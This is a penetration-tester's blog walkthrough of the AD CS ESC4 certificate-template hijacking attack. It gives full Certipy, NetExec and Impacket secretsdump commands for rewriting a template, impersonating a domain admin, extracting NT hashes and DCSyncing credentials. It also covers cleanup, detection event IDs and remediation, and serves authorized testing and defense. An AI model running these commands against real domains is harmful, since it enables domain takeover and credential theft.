Breaking In With Paper: Abusing AD CS ESC4 - Template Highjacking
Legal & ethical reminder: Only perform the techniques below with explicit written authorization or in a lab. This post is for defensive education and professional testing—not for abuse.
TL;DR
Active Directory Certificate Services (AD CS) can be misconfigured so that low-privileged users can modify a certificate template and mint an authentication-capable certificate for another identity. That abuse path known as ESC4, lets an attacker authenticate as a more-privileged account (often up to domain admin) without cracking passwords. We use Certipy (specifically the ad-certipy fork) to discover and exploit ESC4, then validated impact with NetExec and Impacket’s secretsdump in a controlled, authorized environment.
What’s ESC4 in Plain English?
- AD CS issues certificates for users/computers. Certificate templates define who can request what kind of certs and how those certs are constructed.
- In ESC4, a template’s ACLs are too permissive (e.g., a normal user can write or change the template).
- Once you can change a template, you can tweak it so an enrollee can supply the UPN/SAN and the certificate includes client-auth/smartcard EKUs. That means you can request a cert that claims to be a privileged user and AD will accept it for logon (PKINIT).
Why defenders care: It’s passwordless privilege escalation via the org’s own PKI.
Attack Flow (High-Level)
Discover certificate authorities & templates; identify a template where your current user has write-like rights.
Adjust the template to allow enrollee-supplied subject/SAN and ensure client authentication EKU is present.
Request a certificate for a target UPN (e.g., an administrative account).
Authenticate to AD with the new certificate (PKINIT) and obtain usable credentials/tickets.
Validate impact safely (e.g., demonstrate file-level control or directory replication ability) and stop.
We use ad-certipy for steps 1–4, then NetExec to verify administrative share access and Impacket’s secretsdump to prove directory replication rights.
Tooling We Used (and Why)
- ad-certipy (Certipy) — Enumerates AD CS, inspects and, when permitted, alters template settings; requests and uses auth-capable certs.
- NetExec — Lightweight validation that we can reach ADMIN$ (without destructive actions).
- Impacket (secretsdump) — Proof of domain impact (e.g., DCSync), with tight scoping to limit exposure.
Preconditions (what makes ESC4 exploitable)
You need a certificate template where a low-privileged principal (your foothold account) has write-like rights (e.g., Write, WriteDACL, GenericAll) on the template object. With that, you can modify the template to issue client-auth certificates where the enrollee supplies the subject/UPN, allowing you to request a cert that impersonates a privileged account.
Typical risky knobs on the template:
- Enrollee can supply subject / SAN (UPN)
- Client Authentication / Smartcard Logon EKUs present
- No manager approval required
Attack Walkthrough
Replace placeholders: DOM, dom.local, user, Passw0rd!, 10.0.0.10 (DC), CA01.dom.local, VulnTemplate, targetadmin@dom.local, DOM-LOCAL-CA01
Discovery (find vulnerable templates)
1
2
3
# Enumerate CA + templates and flag known abuses
certipy-ad find -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -vulnerable -stdout
Review output for ESC4 indicators and the template(s) where your current principal has write rights.
Inspect & (if needed) modify the template
1
2
3
4
5
6
7
8
# View current template settings
certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -view
# (Optional) Save a backup of template settings before changes
certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -save 'VulnTemplate.backup'
# Modify the template to a vulnerable state - note that this will also save a copy of the original to VulnTemplate.json before making changes
certipy-ad template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template 'VulnTemplate' -write-default-configuration
Request an auth-capable cert for the target account
1
2
3
4
5
# Request a certificate that impersonates a privileged account
# -target - the FQDN of the CA
# -ca - the CA name
certipy-ad req -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -target 'CA01.dom.local' -ca 'DOM-LOCAL-CA01' -template 'VulnTemplate' -upn 'targetadmin@dom.local' -sid 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
The above command should have written a certificate to targetadmin.pfx
Authenticate with the certificate (PKINIT) and extract creds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Use the issued PFX to authenticate; Certipy will perform PKINIT and return NT hash/TGT
certipy-ad auth -pfx 'targetadmin.pfx' -dc-ip 10.0.0.10
[*] Certificate identities:
[*] SAN UPN: 'targetadmin@dom.local'
[*] SAN URL SID: 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
[*] Security Extention SID: 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
[*] Using principal: 'targetdomain@dom.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'targetadmin.ccache'
[*] Wrote credential cache to 'targetadmin.ccache'
[*] Trying to retrieve NT hash for 'targetadmin'
[*] Got hash for 'targetadmin@dom.local': LM_hash:NT_hash
Note the resulting NT hash / ticket cache details
Prove DC file-level control (ADMIN$)
1
2
3
4
5
# List shares using the elevated context (NT hash from Certipy auth)
netexec smb 10.0.0.10 -d DOM -u targetadmin -H <NT_HASH> --shares
# Prove write to ADMIN$ with a small canary (avoid risky commands)
netexec smb 10.0.0.10 -d DOM -u targetadmin -H <NT_HASH> --put-file ./sigh.txt C$\Windows\Temp\_sigh.txt
Alternative: -x to run a harmless command (directory listing) to show effective code execution policy, but prefer file write as minimally invasive proof.
DCSync / dump hashes with Impacket
1
2
3
4
5
6
# If you have DA-equivalent rights, DCSync:
impacket-secretsdump -just-dc DOM/targetadmin@10.0.0.10 -hashes :<NT_HASH>
# Or full dump (SAM/LSA/AD) depending on privileges:
impacket-secretsdump DOM/targetadmin@10.0.0.10 -hashes :<NT_HASH>
Capture Domain Admins hashes and a small sample of non-privileged users (minimize volume).
Cleanup
- Revert the template to the original settings (use your saved backup or undo flags):
1
certipy template -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -template VulnTemplate -write-configuration 'VulnTemplate.json' -no-save
- Revoke the issued test certificate(s) and publish updated CRLs/OCSP.
- Delete any artifacts (e.g., _sigh.txt) from the DC.
- Securely erase PFX and intermediate files from tester systems.
OPSEC Notes for Testers
- Throttle actions: Template changes and certificate issuance create clear, auditable events. Limit to the fewest changes needed and revert them.
- Minimize data: Prefer a small file write over broad data grabs. If demonstrating DCSync, capture just enough to prove impact.
- Log-aware: Expect defenders to monitor CA and DC logs. Coordinate read-outs so the SOC isn’t blindsided.
Detection & Telemetry (Help Your Clients Catch It)
On the CA / AD CS logs (Windows Security log):
- 4886 – Certificate request submitted
- 4887 – Certificate issued
- 4899 – Certificate template updated (this is your smoking-gun for ESC4 abuse)
On Domain Controllers:
- 4768/4769 – Kerberos TGT/TGS events (PKINIT in use can leave distinctive fields)
- Unusual certificate-based auth by non-smartcard users or from atypical hosts
Network/SIEM clues:
- Sudden template changes followed shortly by certificate issuance and elevated authentication from a new host.
Remediation Guidance (What We Recommend Post-Assessment)
Fix template ownership & ACLs
- Set Owner to a Tier-0 group; remove Write/WriteDACL/GenericAll from non-Tier-0 principals.
Harden template settings
- Disable enrollee-supplied subject/SAN unless business-critical.
- Remove Client Authentication/Smartcard Logon EKUs from templates not meant for auth.
- Require manager/CA approval where feasible.
Scope enrollment
- Restrict Enroll/Autoenroll to the smallest necessary groups.
Monitor continuously
- Alert on 4899, correlate 4886/4887, and watch for anomalous PKINIT patterns.
- Review issued certs periodically; validate CRL/OCSP distribution.
Incident hygiene (after a suspected abuse)
- Revoke affected certs; publish updated CRLs/OCSP.
- Rotate or reset impacted privileged accounts; review for persistence
Common Pitfalls & Gotchas
- Permission confusion: Rights on the CA aren’t the same as rights on the template. ESC4 hinges on the template object ACL.
- Half-configured templates: If EKUs or subject settings aren’t exactly right, the cert won’t work for auth—double-check before assuming failure.
- PKINIT issues: Time skew, DC selection, or realm casing can break cert-based Kerberos auth—keep clocks aligned.
- Template write denied: double-check actual ACLs on the template object (not just the CA).
- Req fails / EKU missing: confirm the template reflects client-auth EKU and UPN in SAN.
- PKINIT fails: verify KDC supports it; ensure time sync; try -dc-ip and correct realm casing.
- Admin$ write blocked: you may have a cert for a user without local admin on the DC; target an account with DC admin or validate group membership first.
MITRE ATT&CK Mapping
- T1558.003 — Steal or Forge Kerberos Certificates (AD CS abuse)
- T1550.003 — Use Alternate Authentication Material: Certificates
- T1003 — OS Credential Dumping (if DCSync or LSA/SAM dumping is demonstrated)
- T1078 — Valid Accounts (post-cert authentication as a privileged identity)
Final Thoughts
AD CS is powerful and that’s why misconfigurations like ESC4 are so dangerous. For red teams and pentesters, it’s a high-signal test of enterprise identity resilience. For defenders, closing ESC4 is low drama: tighten template ACLs, remove risky settings, restrict enrollment, and monitor. If your organization relies on certificates for user or service auth, put AD CS audits on your regular security calendar.